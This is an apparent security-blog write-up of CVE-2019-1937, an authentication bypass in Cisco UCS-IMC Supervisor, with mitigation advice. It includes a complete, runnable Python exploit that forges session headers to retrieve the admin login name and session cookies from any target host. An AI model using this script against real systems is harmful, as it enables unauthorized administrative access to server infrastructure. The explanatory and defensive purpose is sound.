Cisco UCS-IMC Supervisor 2.2.0.0 - Authentication Bypass

Cisco UCS-IMC Supervisor 2.2.0.0 Authentication Bypass Vulnerability: A Deep Dive into CVE-2019-1937

The Cisco UCS-IMC Supervisor is a critical component in Cisco's Unified Computing System (UCS), serving as the integrated management controller for server hardware. It provides centralized monitoring, configuration, and administrative access across physical servers. However, in August 2019, a significant security flaw was discovered in versions prior to 2.2.1.0, allowing unauthorized access to administrative functions through a simple authentication bypass.

Understanding the Vulnerability: CVE-2019-1937

Discovered by Pedro Ribeiro and exploited by Fatih Sencer, this vulnerability—assigned CVE-2019-1937—targets the /app/ui/ClientServlet?apiName=GetUserInfo endpoint. This endpoint is designed to retrieve user session information, including login credentials and session status. However, due to improper validation of authentication tokens, attackers could bypass the login requirement entirely.

By crafting a malicious HTTP request with specific headers, an attacker could trigger the system to return the current user’s login name—often admin—without any prior authentication. This bypass was possible because the server failed to verify the presence of valid session cookies or authentication tokens before responding.

Exploitation Mechanics: How the Bypass Works

The exploit relies on manipulating the X-Starship-UserSession-Key and X-Starship-Request-Key headers. These are internal session identifiers used by the IMC Supervisor’s UI framework to manage client-side sessions. While these headers are normally generated dynamically during a legitimate login process, the vulnerability allowed attackers to forge them with arbitrary values.

Even without a valid session, the server would respond with a JSON payload containing loginName, typically admin, indicating that the system was operating under an authenticated session—despite no actual login having occurred.

Real-World Impact and Risk Assessment

Component	Version Affected	Attack Vector	Severity
Cisco UCS-IMC Supervisor	< 2.2.1.0	Remote HTTP Request with forged headers	High (CVSS: 8.1)

This vulnerability posed a severe risk, especially in environments where the IMC interface was exposed to external networks. An attacker could gain immediate access to administrative credentials without needing to brute-force passwords or exploit other vulnerabilities.

For example, in a data center with multiple servers managed via IMC, an attacker could:

• Identify the default admin user via the exploit
• Obtain session cookies (e.g., REACTED)
• Use those cookies to perform unauthorized actions like firmware updates, configuration changes, or disabling security policies

Code Example: Exploiting the Authentication Bypass

import argparse, requests, warnings, base64, json, random, string
from requests.packages.urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter('ignore', InsecureRequestWarning)

def init():
    parser = argparse.ArgumentParser(description='Cisco IMC Supervisor / Authentication Bypass')
    parser.add_argument('-u', '--host', help='Host', type=str, required=True)
    args = parser.parse_args()
    exploit(args)

def exploit(args):
    session = requests.Session()
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_4)",
        "X-Requested-With": "XMLHttpRequest",
        "Referer": "https://{}/".format(args.host),
        "X-Starship-UserSession-Key": ''.join(random.choices(string.ascii_uppercase + string.digits, k=10)),
        "X-Starship-Request-Key": ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
    }
    target = "https://{}/app/ui/ClientServlet?apiName=GetUserInfo".format(args.host)
    print("[+] Target {}".format(args.host))

    exp_send = session.get(target, headers=headers, verify=False, timeout=10)

    if exp_send.status_code == 200:
        print("[+] Target OK")
        body_data = json.loads(exp_send.text)
        if not (body_data.get('loginName') is None):
            print("[+] Exploit Succes")
            print("[+] Login name : {}".format(body_data.get('loginName')))
            print("[+] Cookie : {}".format(session.cookies.get_dict()))
        else:
            print("[-] Exploit Failed")
    else:
        print("[-] N/A")
        exit()

if __name__ == "__main__":
    init()

Explanation: This Python script automates the exploitation of the authentication bypass. It:

• Accepts a target host via command-line argument
• Creates a session with forged headers, mimicking a legitimate client request
• Sends a GET request to the GetUserInfo endpoint
• Checks the response status code and parses the JSON payload
• Extracts the loginName field and session cookies if present

Despite the simplicity of the code, it demonstrates how a single flaw in session validation can lead to full administrative access.

Security Recommendations and Mitigation

Organizations using Cisco UCS-IMC Supervisor must:

• Upgrade immediately to version 2.2.1.0 or later, which includes fixes for this vulnerability.
• Restrict network access to the IMC interface—only allow internal, trusted networks.
• Implement firewall rules to block unauthorized access to /app/ui/ClientServlet endpoints.
• Monitor logs for unusual requests containing forged session keys.
• Enable multi-factor authentication (MFA) where possible, even if the IMC interface does not support it natively.

Additionally, security teams should conduct regular penetration testing to detect such bypass vulnerabilities, especially in legacy or outdated systems.

Expert Insight: Why This Vulnerability Matters

Authentication bypasses like CVE-2019-1937 are particularly dangerous because they represent a zero-day access vector—no password, no brute-force, no exploit chain required. They expose the fundamental trust model of web applications: that authenticated sessions are required before sensitive data is returned.

As cyberattacks increasingly target infrastructure management systems, vulnerabilities in tools like the Cisco IMC Supervisor are no longer just "technical" issues—they are business-critical risks. A compromised management interface can lead to complete system takeover, data exfiltration, or ransomware deployment.

Security professionals must treat such flaws as high-priority, even if they appear simple on the surface. They serve as a reminder that input validation and session integrity are foundational pillars of secure web application design.